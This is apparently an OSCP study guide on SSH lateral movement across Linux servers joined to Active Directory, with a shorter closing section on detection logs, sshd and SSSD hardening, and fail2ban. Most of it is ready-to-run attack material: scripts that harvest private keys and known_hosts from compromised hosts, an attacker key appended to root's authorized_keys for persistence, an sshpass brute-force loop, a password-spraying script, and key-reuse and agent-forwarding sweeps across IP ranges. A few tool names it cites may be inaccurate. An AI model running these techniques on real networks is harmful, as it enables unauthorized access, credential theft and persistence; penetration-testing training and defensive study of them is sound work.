SSH Lateral Movement (Linux in AD)
Table of Contents
- Linux in Active Directory Overview
- AD Integration Methods
- SSH Key-Based Lateral Movement
- Password-Based SSH with AD Credentials
- Kerberos-Based SSH Authentication
- Lateral Movement Between Linux Hosts
- Enumerating Linux Hosts in AD
- SSH Config Tricks for AD Environments
- Detection and Mitigation
- Common Pitfalls and Troubleshooting
- OSCP Exam Tips
Linux in Active Directory Overview
Why Linux in AD?
Modern enterprises increasingly deploy Linux servers alongside Windows infrastructure. These Linux systems are often joined to Active Directory for:
- Centralized authentication – Single sign-on across platforms
- Unified group policy – Consistent access controls
- Simplified user management – Manage all accounts from AD
- Compliance requirements – Centralized audit and logging
Common Linux Roles in AD Environments
| Role | Purpose | SSH Access Likelihood |
|---|---|---|
| Web Server | Hosting applications | High |
| Database Server | MySQL, PostgreSQL, MongoDB | High |
| File Server | NFS, Samba shares | Medium |
| Build/CI Server | Jenkins, GitLab CI | High |
| Monitoring | Nagios, Zabbix, Prometheus | Medium |
| Container Host | Docker, Kubernetes nodes | High |
| Jump Box | Bastion host for access | Very High |
SSH Protocol Basics
| Property | Value |
|---|---|
| Default Port | TCP 22 |
| Protocol | TCP (with encryption) |
| Authentication | Public key, password, Kerberos/GSSAPI, certificate |
| Encryption | AES-128/256, ChaCha20, etc. |
| Key Exchange | Diffie-Hellman, Curve25519 |
AD Integration Methods
SSSD (System Security Services Daemon)
SSSD is the most common method for integrating Linux with Active Directory in modern distributions.
How SSSD Works
┌─────────────┐ ┌──────────┐ ┌──────────────┐
│ Linux Host │────▶│ SSSD │────▶│ AD/DC │
│ │◀────│ │◀────│ │
│ Applications│ │Cache + │ │LDAP/Kerberos │
│ (SSH, sudo) │ │Resolver │ │ │
└─────────────┘ └──────────┘ └──────────────┘
SSSD Configuration
# /etc/sssd/sssd.conf
[domain/EXAMPLE.COM]
ad_domain = example.com
krb5_realm = EXAMPLE.COM
realmd_tags = manages-system
id_provider = ad
access_provider = ad
auth_provider = ad
chpass_provider = ad
ldap_id_mapping = True
fallback_homedir = /home/%d/%u
enumerate = False
[sssd]
services = nss, pam, ssh
domains = EXAMPLE.COM
[nss]
filter_users = root, nfsnobody
[pam]
[ssh]
Key SSSD Features for Attackers
- Credential caching – SSSD caches credentials offline (configurable)
- Offline authentication – Users can log in without DC connectivity
- Home directory auto-creation – First login creates
/home/DOMAIN/user - Group resolution – AD groups map to Linux groups
Checking SSSD Status
# Check if SSSD is running
systemctl status sssd
# Check SSSD cache
sss_cache -E # Clear cache
getent passwd DOMAIN\\user
getent group "DOMAIN Admins"
# Check SSSD logs
tail -f /var/log/sssd/sssdEXAMPLE.COM.log
tail -f /var/log/sssd/sssd_nss.log
tail -f /var/log/sssd/sssd_pam.log
Winbind
Winbind is the traditional Samba-based method for AD integration. Still common in older deployments.
Winbind Configuration
# /etc/samba/smb.conf
[global]
workgroup = EXAMPLE
security = ads
realm = EXAMPLE.COM
idmap config EXAMPLE : backend = ad
idmap config EXAMPLE : range = 10000-20000
template shell = /bin/bash
template homedir = /home/%D/%U
winbind use default domain = true
winbind offline logon = true
Checking Winbind
# Check winbind status
systemctl status winbind
# List domain users
wbinfo -u
# List domain groups
wbinfo -g
# Check user info
wbinfo -n DOMAIN\\user
# Check trust relationship
net ads testjoin
Realmd
Realmd is a higher-level tool that simplifies joining Linux to AD. It typically configures SSSD or Winbind underneath.
Joining AD with Realmd
# Discover domain
realm discover EXAMPLE.COM
# Join domain (requires admin credentials)
realm join EXAMPLE.COM -U Administrator
# Check domain membership
realm list
# Leave domain
realm leave EXAMPLE.COM
What Realmd Configures
- Installs and configures SSSD
- Configures Kerberos (
/etc/krb5.conf) - Updates NSS (
/etc/nsswitch.conf) - Updates PAM for authentication
- Configures SSH for Kerberos/GSSAPI
Comparison Table
| Feature | SSSD | Winbind | Realmd |
|---|---|---|---|
| Modern Standard | Yes | Legacy | Wrapper |
| Offline Auth | Yes (cached) | Yes | Via SSSD/Winbind |
| Performance | Good (cached) | Moderate | N/A |
| Kerberos Support | Yes | Yes | Via underlying |
| Group Resolution | Yes | Yes | Via underlying |
| Default in RHEL/CentOS 8+ | Yes | No | Used for join |
| Default in Ubuntu | Via sssd | No | Yes |
SSH Key-Based Lateral Movement
Finding SSH Keys on Compromised Linux Hosts
Standard Key Locations
# Primary SSH key locations
ls -la ~/.ssh/
ls -la /root/.ssh/
# Common key filenames
ls -la ~/.ssh/id_rsa
ls -la ~/.ssh/id_ed25519
ls -la ~/.ssh/id_ecdsa
# Check all users' SSH directories
find /home -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" 2>/dev/null
# Check for authorized_keys (shows who can SSH to this host)
cat ~/.ssh/authorized_keys
cat /root/.ssh/authorized_keys
# Check for known_hosts (shows where user has SSH'd)
cat ~/.ssh/known_hosts
Extracting SSH Key Information
# View public key
cat ~/.ssh/id_rsa.pub
# View private key (if accessible)
cat ~/.ssh/id_rsa
# Check key permissions
ls -la ~/.ssh/id_rsa
# Should be 600, if more permissive SSH may refuse to use it
# Get key fingerprint
ssh-keygen -lf ~/.ssh/id_rsa.pub
Using Found SSH Keys
# SSH with specific key
ssh -i /path/to/id_rsa user@target_host
# SSH with key and verbose output (for debugging)
ssh -i /path/to/id_rsa -v user@target_host
# SSH with key, specifying port
ssh -i /path/to/id_rsa -p 2222 user@target_host
# Copy key to new location for use
cp ~/.ssh/id_rsa /tmp/my_key
chmod 600 /tmp/my_key
ssh -i /tmp/my_key user@target_host
SSH Agent Forwarding Exploitation
# Check if agent forwarding is enabled
ssh -o ForwardAgent=yes user@target
# On the target, check for forwarded agent
echo $SSH_AUTH_SOCK
# Use the forwarded agent to SSH to other hosts
ssh other_user@next_target
# This is a HIGH-RISK feature -- if compromised, attacker can use
# the forwarded keys to access other systems
# List keys available via agent
ssh-add -l
Adding SSH Keys for Persistence
# Add your public key to authorized_keys
echo "ssh-rsa AAAA... attacker@host" >> ~/.ssh/authorized_keys
# Add to root's authorized_keys (if privileged)
echo "ssh-rsa AAAA... attacker@host" >> /root/.ssh/authorized_keys
# Set proper permissions
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
chmod 644 ~/.ssh/authorized_keys # Some configs require 644
SSH Key Discovery Workflow
#!/bin/bash
# Comprehensive SSH key discovery script
echo "=== SSH Key Discovery ==="
# Current user's keys
echo "[*] Current user SSH keys:"
ls -la ~/.ssh/ 2>/dev/null
# All user home directories
echo "[*] Searching all home directories:"
find /home -maxdepth 3 -name "id_*" -not -name "*.pub" 2>/dev/null
# Root's keys
echo "[*] Root SSH keys:"
ls -la /root/.ssh/ 2>/dev/null
# Authorized keys (who can access this host)
echo "[*] Authorized keys:"
cat ~/.ssh/authorized_keys 2>/dev/null
cat /root/.ssh/authorized_keys 2>/dev/null
# Known hosts (where has this user connected)
echo "[*] Known hosts:"
cat ~/.ssh/known_hosts 2>/dev/null | cut -d' ' -f1 | sort -u
# SSH config files
echo "[*] SSH config:"
cat ~/.ssh/config 2>/dev/null
Password-Based SSH with AD Credentials
Basic SSH with AD Credentials
# Standard SSH with domain user
ssh domain_user@target_host
# SSH with explicit username
ssh -l domain_user target_host
# SSH with different port
ssh -p 2222 domain_user@target_host
# SSH with verbose output
ssh -v domain_user@target_host
Using sshpass for Non-Interactive SSH
sshpass allows providing passwords non-interactively – essential for scripting and automation.
Installation
# Debian/Ubuntu/Kali
apt install sshpass
# RHEL/CentOS
yum install sshpass
# Already installed on Kali Linux
Basic sshpass Usage
# Basic syntax
sshpass -p 'PASSWORD' ssh user@target_host
# With options
sshpass -p 'Password123!' ssh -o StrictHostKeyChecking=no user@10.10.10.20
# Execute remote command
sshpass -p 'Password123!' ssh -o StrictHostKeyChecking=no user@10.10.10.20 "whoami"
# Execute multiple commands
sshpass -p 'Password123!' ssh -o StrictHostKeyChecking=no user@10.10.10.20 "whoami; id; hostname"
# Interactive shell
sshpass -p 'Password123!' ssh -o StrictHostKeyChecking=no user@10.10.10.20
sshpass Authentication Methods
# Password from command line (-p)
sshpass -p 'Password123!' ssh user@target
# Password from file (-f)
echo 'Password123!' > /tmp/pass.txt
chmod 600 /tmp/pass.txt
sshpass -f /tmp/pass.txt ssh user@target
# Password from environment variable (-e)
export SSHPASS='Password123!'
sshpass -e ssh user@target
sshpass with AD Domain Users
# Domain user format
sshpass -p 'Password123!' ssh DOMAIN\\user@target_host
# Alternative format
sshpass -p 'Password123!' ssh user@target_host
# Then enter: DOMAIN\user at the username prompt if needed
# With Kerberos principal format
sshpass -p 'Password123!' ssh user@EXAMPLE.COM@target_host
Automating SSH with sshpass
#!/bin/bash
# SSH brute force / credential testing script
TARGET="10.10.10.20"
USER="admin"
PASSWORDS_FILE="/tmp/passwords.txt"
while IFS= read -r password; do
if sshpass -p "$password" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 \
"$USER@$TARGET" "echo SUCCESS" 2>/dev/null; then
echo "[+] Valid password: $password"
break
else
echo "[-] Failed: $password"
fi
done < "$PASSWORDS_FILE"
SSH with scp and sshpass
# Upload file
sshpass -p 'Password123!' scp -o StrictHostKeyChecking=no local_file user@target:/remote/path/
# Download file
sshpass -p 'Password123!' scp -o StrictHostKeyChecking=no user@target:/remote/file /local/path/
# Upload with rsync
sshpass -p 'Password123!' rsync -avz -e "ssh -o StrictHostKeyChecking=no" /local/dir/ user@target:/remote/dir/
Password Reuse in AD Environments
A common pattern in AD environments is password reuse across platforms:
# If you have AD credentials, try them on Linux hosts
# The same password often works for SSH
# AD credential
DOMAIN\user : Password123!
# Try on Linux host
sshpass -p 'Password123!' ssh user@linux_host.example.com
# Try with domain prefix
sshpass -p 'Password123!' ssh 'EXAMPLE\user'@linux_host.example.com
Kerberos-Based SSH Authentication (GSSAPI)
How Kerberos SSH Works
┌──────────┐ TGT ┌──────────┐ TGS ┌──────────┐
│ Client │───────────▶│ DC │──────────▶│ Linux │
│ │◀───────────│ │◀──────────│ Server │
│ SSH │ Session │ KDC │ Grant │ (SSSD) │
│ Client │ Key │ │ Access │ │
└──────────┘ └──────────┘ └──────────┘
Prerequisites for GSSAPI SSH
- Client must have Kerberos ticket
- Server must support GSSAPI authentication
- Both systems must trust the same Kerberos realm
- SSSD must be configured for SSH
Obtaining Kerberos Tickets
# Get TGT using password
kinit user@EXAMPLE.COM
# Get TGT using keytab
kinit -k -t /etc/krb5.keytab host/linuxhost\$@EXAMPLE.COM
# Check current tickets
klist
# Destroy tickets
kdestroy
# Get TGT with specific credentials file
kinit user@EXAMPLE.COM -c /tmp/krb5cc_file
Configuring SSH for GSSAPI
Client-Side Configuration
# /etc/ssh/ssh_config (client)
Host *.example.com
GSSAPIAuthentication yes
GSSAPIDelegateCredentials yes
GSSAPIKeyExchange no
# Or via command line
ssh -o GSSAPIAuthentication=yes user@target_host
Server-Side Configuration
# /etc/ssh/sshd_config (server)
GSSAPIAuthentication yes
GSSAPICleanupCredentials yes
GSSAPIStrictAcceptorCheck no # May need this in some environments
# Restart SSH
systemctl restart sshd
Using Kerberos for SSH
# Step 1: Obtain Kerberos ticket
kinit user@EXAMPLE.COM
# Enter password when prompted
# Step 2: Verify ticket
klist
# Should show:
# Ticket cache: FILE:/tmp/krb5cc_1000
# Default principal: user@EXAMPLE.COM
#
# Valid starting Expires Service principal
# 08/30/2026 10:00 08/30/2026 20:00 krbtgt/EXAMPLE.COM@EXAMPLE.COM
# Step 3: SSH using Kerberos (no password needed)
ssh user@target_host.example.com
# Step 4: Verify Kerberos auth was used
ssh -v user@target_host.example.com 2>&1 | grep -i gssapi
Kerberos Delegation
# Forwardable tickets (allow delegation)
kinit -f user@EXAMPLE.COM
# Check if ticket is forwardable
klist
# Look for "Forwardable" in the ticket properties
# SSH with delegation
ssh -o GSSAPIDelegateCredentials=yes user@target_host
# This allows the target to obtain tickets on your behalf
# Useful for multi-hop scenarios
Kerberos-Based Lateral Movement Workflow
# Complete Kerberos SSH workflow
# 1. Obtain TGT
kinit admin@EXAMPLE.COM
# 2. Verify ticket
klist
# 3. SSH to first Linux host (no password)
ssh admin@linux1.example.com
# 4. From linux1, SSH to linux2 (using forwarded credentials)
ssh -o GSSAPIDelegateCredentials=yes admin@linux2.example.com
# 5. Or obtain service ticket first
kvno admin/linux2.example.com@EXAMPLE.COM
ssh admin@linux2.example.com
Lateral Movement Between Linux Hosts
Movement Techniques Summary
| Technique | Requirements | Stealth | Reliability |
|---|---|---|---|
| SSH Key | Found/reused key | Medium | High |
| Password SSH | Known password | Low | High |
| sshpass | Known password | Low | High |
| Kerberos/GSSAPI | Valid TGT | Medium | Medium |
| Agent Forwarding | Active SSH session | High | Medium |
| SSH Config | Pre-configured aliases | Medium | High |
Technique 1: SSH Key Reuse
# Found key on compromised host
cat ~/.ssh/id_rsa
# Try common usernames on other hosts
for user in root admin deploy jenkins ubuntu; do
for host in 10.10.10.{20..30}; do
ssh -i ~/.ssh/id_rsa -o StrictHostKeyChecking=no -o ConnectTimeout=3 \
$user@$host "echo [+] $user@$host" 2>/dev/null
done
done
Technique 2: Password Spraying via sshpass
#!/bin/bash
# Password spraying across Linux hosts
HOSTS_FILE="/tmp/linux_hosts.txt"
PASSWORD="Password123!"
while IFS= read -r host; do
for user in admin deploy jenkins ubuntu root; do
if sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no \
-o ConnectTimeout=5 "$user@$host" "whoami" 2>/dev/null; then
echo "[+] SUCCESS: $user@$host with password: $PASSWORD"
break
fi
done
done < "$HOSTS_FILE"
Technique 3: Kerberos-Based Movement
# Get TGT
kinit admin@EXAMPLE.COM
# Enumerate Linux hosts in domain
# Then SSH to each using Kerberos
for host in linux1.example.com linux2.example.com linux3.example.com; do
ssh -o GSSAPIAuthentication=yes -o PasswordAuthentication=no \
admin@$host "hostname; whoami" 2>/dev/null
done
Technique 4: SSH Agent Forwarding Abuse
# If you SSH'd in with agent forwarding enabled
# Check for available keys
ssh-add -l
# Use forwarded keys to access other hosts
ssh other_host
# List all accessible hosts from known_hosts
cut -d' ' -f1 ~/.ssh/known_hosts | sort -u
# Try each known host
for host in $(cut -d' ' -f1 ~/.ssh/known_hosts | sort -u); do
ssh -o ConnectTimeout=3 $host "echo [+] $host" 2>/dev/null
done
Technique 5: Multi-Hop via Jump Box
# Direct multi-hop
ssh -J jump_user@jump_host target_user@target_host
# With password
sshpass -p 'jump_pass' ssh -J jump_user@jump_host \
target_user@target_host
# Chained SSH
ssh -t jump_user@jump_host ssh target_user@target_host
# With proxy command
ssh -o ProxyCommand="ssh -W %h:%p jump_user@jump_host" target_user@target_host
Enumerating Linux Hosts in AD Domain
Method 1: LDAP Search for Linux Hosts
# Using ldapsearch from Linux
ldapsearch -x -H ldap://dc.example.com -D "admin@EXAMPLE.COM" -w 'Password' \
-b "dc=example,dc=com" "(objectClass=computer)" \
operatingSystem dn hostname
# Filter for Linux/Unix hosts
ldapsearch -x -H ldap://dc.example.com -D "admin@EXAMPLE.COM" -w 'Password' \
-b "dc=example,dc=com" "(unixUserPassword=*)" dn
# Look for hosts with SSH services
ldapsearch -x -H ldap://dc.example.com -D "admin@EXAMPLE.COM" -w 'Password' \
-b "dc=example,dc=com" "(servicePrincipalName=host/*)" dn
Method 2: Using Impacket
# Get all computers in domain
python3 getUsers.py -all EXAMPLE.COM/admin:Password123@DC01.EXAMPLE.COM
# Get computer objects with specific attributes
python3 getComputerDetails.py EXAMPLE.COM/admin:Password123@DC01.EXAMPLE.COM
# Look for Linux-specific attributes
python3 ldapdump.py EXAMPLE.COM/admin:Password123@DC01.EXAMPLE.COM
Method 3: Network Scanning
# Nmap scan for SSH
nmap -p 22 --open 10.10.10.0/24
# Nmap with OS detection
nmap -p 22 -O --open 10.10.10.0/24
# Nmap with scripting
nmap -p 22 --script ssh2,ssh-hostkey 10.10.10.0/24
# Masscan for speed
masscan -p 22 10.10.10.0/24 --rate=1000
Method 4: CrackMapExec
# SMB enumeration (may find Linux hosts with Samba)
crackmapexec smb 10.10.10.0/24 -u admin -p 'Password123!'
# Look for Linux-specific shares
crackmapexec smb 10.10.10.0/24 -u admin -p 'Password123!' --shares
Method 5: DNS Enumeration
# Query DNS for host records
nslookup -type=A @dc.example.com
# Use dig
dig A example.com @dc.example.com
# Look for specific patterns
dig A linux.example.com @dc.example.com
dig A server.example.com @dc.example.com
Identifying Linux vs. Windows Hosts
# SSH banner detection
nmap -p 22 --script ssh2 10.10.10.0/24
# SSH version strings often reveal OS
# OpenSSH_8.2p1 Ubuntu -> Linux
# OpenSSH_7.4 -> CentOS/RHEL
# SMB signature detection
nmap -p 445 --script smb-os-discovery 10.10.10.0/24
# Combined approach
nmap -p 22,445 -O --script ssh2,smb-os-discovery 10.10.10.0/24
SSH Config Tricks for AD Environments
SSH Config File
# ~/.ssh/config
# Default settings for AD domain
Host *.example.com
GSSAPIAuthentication yes
ForwardAgent no
ServerAliveInterval 60
ServerAliveCountMax 3
StrictHostKeyChecking accept-new
# Jump host configuration
Host jump
HostName jump.example.com
User admin
IdentityFile ~/.ssh/id_ed25519
# Target hosts via jump
Host linux-*
ProxyJump jump
User deploy
IdentityFile ~/.ssh/id_ed25519
# Kerberos-only hosts
Host kerberos-*
GSSAPIAuthentication yes
PasswordAuthentication no
User admin
# Quick aliases
Host dc
HostName dc01.example.com
User admin
Host web1
HostName web01.example.com
User deploy
ProxyJump jump
Useful SSH Options for AD
# Disable strict host key checking (for scripts)
ssh -o StrictHostKeyChecking=no user@target
# Set connection timeout
ssh -o ConnectTimeout=10 user@target
# Disable password auth (Kerberos only)
ssh -o PasswordAuthentication=no -o GSSAPIAuthentication=yes user@target
# Enable verbose output for debugging
ssh -vvv user@target
# Use specific identity file
ssh -i /path/to/key user@target
# Forward local port
ssh -L 8080:internal.host:80 user@target
# Forward remote port
ssh -R 9090:localhost:9090 user@target
# TCP keepalive
ssh -o ServerAliveInterval=30 -o ServerAliveCountMax=3 user@target
SSH Agent Management
# Start SSH agent
eval $(ssh-agent)
# Add key to agent
ssh-add ~/.ssh/id_rsa
# List added keys
ssh-add -l
# Remove all keys
ssh-add -D
# Add key with timeout
ssh-add -t 3600 ~/.ssh/id_rsa # 1 hour timeout
# Use specific socket
export SSH_AUTH_SOCK=/path/to/agent/socket
Detection and Mitigation
Detection Indicators
Linux Log Files
| Log File | Location | Description |
|---|---|---|
| auth.log | /var/log/auth.log |
SSH authentication events (Debian/Ubuntu) |
| secure | /var/log/secure |
SSH authentication events (RHEL/CentOS) |
| syslog | /var/log/syslog |
General system events |
| sssd log | /var/log/sssd/ |
SSSD authentication events |
| lastlog | last command |
Login history |
| wtmp | /var/log/wtmp |
Login records (binary) |
Key Log Entries
# Successful SSH login
grep "Accepted" /var/log/auth.log
# Failed SSH login
grep "Failed" /var/log/auth.log
# SSH connection from specific IP
grep "10.10.10.50" /var/log/auth.log
# Kerberos authentication
grep "GSSAPI" /var/log/auth.log
# SSSD authentication events
grep "pam_sss" /var/log/auth.log
# Check recent logins
last
last -10
# Check failed logins
lastb
Windows Event Correlation
When Linux hosts are in AD, Windows events can also indicate SSH activity:
| Event ID | Description |
|---|---|
| 4768 | TGT requested (Kerberos SSH) |
| 4769 | Service ticket requested |
| 4624 | Logon (if SSSD reports to AD) |
Network Detection
| Indicator | Description |
|---|---|
| TCP 22 connections | SSH traffic |
| Kerberos traffic to port 88 | GSSAPI authentication |
| LDAP traffic to port 389/636 | SSSD directory queries |
| Multiple SSH from single IP | Lateral movement |
Mitigation Strategies
1. SSH Hardening
# /etc/ssh/sshd_config hardening
PermitRootLogin no
PasswordAuthentication no # Force key-based auth
PubkeyAuthentication yes
GSSAPIAuthentication yes # Allow Kerberos
MaxAuthTries 3
LoginGraceTime 30
ClientAliveInterval 300
ClientAliveCountMax 2
AllowGroups sshusers adusers # Restrict to groups
DenyGroups wheel sudo # Block certain groups
2. Key Management
# Restrict key usage
# In authorized_keys:
command="/usr/local/bin/allowed-command.sh",no-pty,no-agent-forwarding ssh-rsa AAAA...
# Disable agent forwarding
# sshd_config:
AllowAgentForwarding no
3. SSSD Hardening
# /etc/sssd/sssd.conf
[domain/EXAMPLE.COM]
# Disable offline credentials
offline_credentials_expiration = 1
# Require online authentication for sensitive operations
access_provider = ad
4. Monitoring
# Set up fail2ban for SSH
apt install fail2ban
# Configure for SSH
# /etc/fail2ban/jail.local
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 3600
findtime = 600
# Alert on new SSH keys
# Monitor /var/log/auth.log for "Accepted publickey"
5. Network Controls
- Restrict SSH access to specific subnets
- Use jump boxes for Linux access
- Implement network segmentation
- Monitor cross-platform SSH traffic
Common Pitfalls and Troubleshooting
Problem: SSH Connection Refused
# Check if SSH is running
ssh -v user@target 2>&1 | head -20
# Check port
nmap -p 22 target_host
# Check firewall
sudo ufw status
sudo iptables -L -n
# Check SSH config
sudo systemctl status sshd
Problem: Authentication Failed
# Verbose SSH output
ssh -vvv user@target
# Check username format
ssh -vvv 'EXAMPLE\\user'@target
ssh -vvv 'user@EXAMPLE.COM'@target
# Check if SSSD is resolving the user
getent passwd EXAMPLE\\user
# Check Kerberos ticket
klist
Problem: GSSAPI Authentication Fails
# Check Kerberos configuration
cat /etc/krb5.conf
# Verify ticket exists
klist
# Check realm matches
klist | grep "Default principal"
# Test Kerberos separately
kvno host/target.example.com@EXAMPLE.COM
# Check SSH server config
grep -i gssapi /etc/ssh/sshd_config
Problem: sshpass Not Found
# Install sshpass
apt install sshpass # Debian/Ubuntu/Kali
yum install sshpass # RHEL/CentOS
# Verify installation
which sshpass
sshpass -h
Problem: Permission Denied (SSH Key)
# Check key permissions
ls -la ~/.ssh/id_rsa
chmod 600 ~/.ssh/id_rsa
# Check authorized_keys permissions
ls -la ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
# Check home directory permissions
ls -la /home/
chmod 755 /home/user
OSCP Exam Tips
Must-Know Commands
# Basic SSH
ssh user@target
# SSH with key
ssh -i /path/to/key user@target
# sshpass (most important for scripting)
sshpass -p 'PASSWORD' ssh -o StrictHostKeyChecking=no user@target
# Find SSH keys
find /home -name "id_rsa" 2>/dev/null
cat ~/.ssh/authorized_keys
# Kerberos SSH
kinit user@EXAMPLE.COM
klist
ssh user@target
Exam Workflow for Linux in AD
- Identify Linux hosts – Nmap scan for port 22
- Check SSH version – May reveal OS/distribution
- Try AD credentials – Password reuse is common
- Look for SSH keys – On compromised hosts
- Check known_hosts – Shows where user has connected
- Try Kerberos – If you have a TGT
- Enumerate users – Check /etc/passwd, home directories
Common Exam Scenarios
Scenario 1: Password Reuse
# You have AD credentials: admin:Password123!
# Try them on the Linux host
sshpass -p 'Password123!' ssh -o StrictHostKeyChecking=no admin@10.10.10.20
Scenario 2: SSH Key Found
# You find an SSH key on a Windows host (shared drive)
# Or on a compromised Linux host
# Copy the key
cp /found/key/location/id_rsa ~/.ssh/
chmod 600 ~/.ssh/id_rsa
# Use it
ssh -i ~/.ssh/id_rsa deploy@10.10.10.30
Scenario 3: Kerberos SSH
# You have a Kerberos TGT
# Use it for passwordless SSH
klist # Verify ticket
ssh -o GSSAPIAuthentication=yes admin@linux.example.com
Quick Reference Card
┌─────────────────────────────────────────────────────────┐
│ SSH LATERAL MOVEMENT (Linux in AD) │
├─────────────────────────────────────────────────────────┤
│ Port: 22 │
│ │
│ Basic SSH: │
│ ssh user@target │
│ │
│ SSH with Key: │
│ ssh -i /path/to/key user@target │
│ │
│ sshpass (non-interactive): │
│ sshpass -p 'PASS' ssh -o StrictHostKeyChecking=no │
│ user@target │
│ │
│ Kerberos SSH: │
│ kinit user@REALM │
│ ssh -o GSSAPIAuthentication=yes user@target │
│ │
│ Find SSH Keys: │
│ find /home -name "id_*" -not -name "*.pub" 2>/dev/null │
│ │
│ Check Authorized Keys: │
│ cat ~/.ssh/authorized_keys │
│ │
│ AD Integration: SSSD, Winbind, Realmd │
│ Auth Log: /var/log/auth.log (Debian) │
│ /var/log/secure (RHEL) │
└─────────────────────────────────────────────────────────┘
Key Takeaways
- Password reuse is common – AD credentials often work for SSH
- sshpass is essential – For non-interactive/scripted SSH
- SSH keys are gold – Find and reuse them across hosts
- Kerberos SSH works – If GSSAPI is configured
- Check known_hosts – Reveals where the user has connected
- SSSD is the standard – Most modern Linux AD integration
- Agent forwarding is risky – Can be abused for lateral movement
- Linux auth logs –
/var/log/auth.logor/var/log/secure